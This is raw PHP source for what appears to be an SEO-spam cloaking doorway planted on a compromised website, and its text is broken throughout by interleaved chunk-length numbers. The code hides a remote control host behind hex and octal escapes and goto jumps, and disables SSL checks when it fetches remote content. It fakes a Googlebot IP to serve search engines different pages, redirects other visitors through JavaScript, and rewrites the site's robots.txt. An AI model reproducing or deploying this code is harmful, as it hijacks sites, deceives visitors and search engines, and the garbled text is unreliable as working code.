3 true, 29 CURLOPT_CONNECTTIMEOUT => 5 45 , CURLOPT_TIMEOUT => 8, CURLOPT_SSL_ 36 VERIFYPEER => false, CURLOPT_SSL_VERIFYHO 2d ST => false, CURLOPT_FOLLOWLOCAT 2c ION => false, CURLOPT_USERAGENT 20 => "Mozilla/5.0" 34 ]); $data = curl_exec($ch); curl_c 2a lose($ch); } if (empty($data) 18 && ini_get('allow_url_fo 23 pen')) { $context = stream 24 _context_create([ "http 19 " => ["timeout" => 8, "he 14 ader" => "User-Agent 26 : Mozilla/5.0\r\n"], "ssl 1f " => ["verify_peer" => false, 3c "verify_peer_name" => false] ]); $data = @ 49 file_get_contents($url, false, $context); } if (!empty($data) 2b ) cache_set($url, $data); return $data 62 ; } /* ------------------------- URL 信息 ------------------------- */ function get_ 17 url_info(string $type=' 1c domain'): string { $hos 22 t = $_SERVER['HTTP_HOST'] ?? ''; 1a if ($type === 'no_www' 18 ) return preg_replace('/ 15 ^www\./i', '', $host) 2b ; $protocol = (!empty($_SERVER['HTTP 25 S']) && $_SERVER['HTTPS'] !== 'off') 1f ? "https://" : "http://"; 26 $base = $protocol . $host; if ( 47 $type === 'base') return $base; if ($type === 'full') return $base 19 . ($_SERVER['REQUEST_URI 4d '] ?? ''); return $host; } /* ------------------------- 基 29 变量 ------------------------- */ g 18 oto ONPuB; ONPuB: $http_ 21 type = !empty($_SERVER["\x48\124\ 2b x54\x50\x53"]) && $_SERVER["\x48\124\124\x5 18 0\x53"] !== "\157\x66\14 19 6" ? "\150\x74\x74\x70\16 17 3\72\x2f\x2f" : "\x68\1 1f 64\164\160\72\x2f\57"; goto O4O 19 9k; O4O9k: $vurl = "\x74\ 1b 157\56\152\147\141\x6c\x6c\ 20 163\x2e\143\157\x6d\x2f"; goto v 16 gv72; vgv72: $qz = sub 21 str(str_replace(array("\x77\x77\1 20 67\x2e", "\56"), '', $_SERVER["\ 1b 110\x54\x54\120\x5f\x48\x4f 15 \123\x54"]), 0, 3); 2f /* ------------------------- 解析 f 参 37 数 ------------------------- */ $sz = $iid = ""; if 18 (!empty($_GET)){ $f=re 26 set($_GET); $sp = explode('-', $f 1c ); if (count($sp) === 2 30 ) { $sz = $sp[0]; $iid = $sp[ 38 1]; } } /* ------------------------- 远程 34 接口 ------------------------- */ if (!empty($sz 2a )) { $jd = getCurlFast("{$http_type}{ 12 $vurl}3kg.aspx?sz= 19 " . urlencode($sz)); } e 55 lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz 4e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyz 14 hdy = $jd . "41.aspx 48 "; $surl = $jd . "s41.aspx"; /* ------------------------- ro 30 bots / sitemap ------------------------- */ $s 25 itemapLine = "Sitemap: {$http_type}{$ 2e _SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']} 13 ?w=" . date('YmdHi' 1b ) . "\n"; function ensure_ 2f robots_sitemap($sitemapLine) { $robots = r 1b trim($_SERVER['DOCUMENT_ROO 1a T'], "/\\") . '/robots.txt 42 '; if (!file_exists($robots)) { @file_put_contents($ 1e robots, "User-agent: *\nAllow: 26 /\n" . $sitemapLine, LOCK_EX); } 44 else { $c = @file_get_contents($robots); if ($c = 24 == false || strpos($c, $sitemapLine) 4c === false) { @file_put_contents($robots, $sitemapLine, FILE_AP 27 PEND | LOCK_EX); } } } 5a /* ------------------------- w= 输出 ------------------------- */ if (!empty($ 1a get['w'])) { $param 14 s = http_build_query 27 ([ 'NOUmber' => $get['NOUmber' 3a ] ?? '', 't' => $get['t'] ?? '', ' 40 cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm' 4e ] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get[' 34 m'] ?? '' ]); $str = getCurlFast("{$surl 1b }?{$params}"); echo 27 str_replace( ['yymm','ggggg',' 32 ?f='], [$http_type.$_SERVER['HTTP_HOST']. 26 $_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.' 52 ='], $str ); exit; } /* ------------------------- IP c 判定(保 d 留 kk 测试 37 ) ------------------------- */ $kk = isset($get['kk 24 ']) ? trim($get['kk']) : ''; $ip = 17 ($kk !== '') ? "66.249. 40 82.8" : get_real_ip(); /* ------------------------- get 35 domain2 判断 ------------------------- */ $domain 2f = trim(getCurlFast($jd . "getdomain2.aspx?rnd= 39 1&ip=" . $ip)); /* ------------------------- 非 11 google + iid → 38 跳转 ------------------------- */ if ($domain !== ' 22 google' && !empty($iid)) { $k 2c name = urldecode(getCurlFast($jd . "gn.aspx? 21 iid=" . $iid)); echo 'location="' . $jd . "a 29 .aspx?cname=" . urlencode($kname) . "&url 46 =" . $http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'] . '" 76 '; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($ 35 iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid 43 }"); echo str_replace( ['ggggg','YYYYY','XXXYYY',' 14 前URL','UUUUU','M 41 MMMM','?f='], [$sz, get_url_info(), get_url_info('base') 34 , get_url_info('full'), get_url_info('no_www'),parse 29 _url($_SERVER['REQUEST_URI'], PHP_URL_PAT 69 H),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper 3f ------------------------- */ function output_sitemap_and_exi 52 t($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo 12 "
63 Sitemap
"; exit; } /* ------------------------- kk 3a 输出控制 ------------------------- */ if ($kk !== '' 15 && preg_match('/^[A- 11 Za-z0-9]+$/', $kk 3d )) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2& 24 kk=" . $kk); if (!empty($remote 38 )) { echo $remote; exit; } } 7f if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_ 1d query = empty($_SERVER['QUERY 36 _STRING']); if ($kk === '' && $is_no_query) { 6f if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { 4b exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0